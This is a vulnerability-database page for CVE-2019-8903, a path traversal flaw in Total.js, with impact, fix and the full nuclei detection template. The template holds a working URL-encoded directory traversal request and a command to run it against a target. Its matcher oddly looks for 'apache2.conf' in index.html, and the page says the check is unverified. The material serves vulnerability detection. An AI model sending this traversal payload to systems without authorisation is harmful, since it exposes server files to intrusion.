HexBrain

Browse / CVEs / CVE-2019-8903

CVE-2019-8903· totaljs / total.js· CWE-22

Totaljs <3.2.3 - Local File Inclusion

highseverity
7.5CVSS score
72.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Total.js Platform before 3.2.3 is vulnerable to local file inclusion.

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.

Fix

Upgrade Totaljs to version 3.2.3 or later to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html
Positive when: contains "apache2.conf" AND status 200

Run it with nuclei: nuclei -id CVE-2019-8903 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-8903

info:
  name: Totaljs <3.2.3 - Local File Inclusion
  author: madrobot
  severity: high
  description: Total.js Platform before 3.2.3 is vulnerable to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade Totaljs to version 3.2.3 or later to fix the LFI vulnerability.
  reference:
    - https://blog.certimetergroup.com/it/articolo/security/total.js-directory-traversal-cve-2019-8903
    - https://github.com/totaljs/framework/commit/c37cafbf3e379a98db71c1125533d1e8d5b5aef7
    - https://github.com/totaljs/framework/commit/de16238d13848149f5d1dae51f54e397a525932b
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8903
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8903
    cwe-id: CWE-22
    epss-score: 0.72058
    epss-percentile: 0.99435
    cpe: cpe:2.3:a:totaljs:total.js:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: totaljs
    product: total.js
    framework: node.js
  tags: cve2019,cve,totaljs,lfi,node.js,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apache2.conf"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from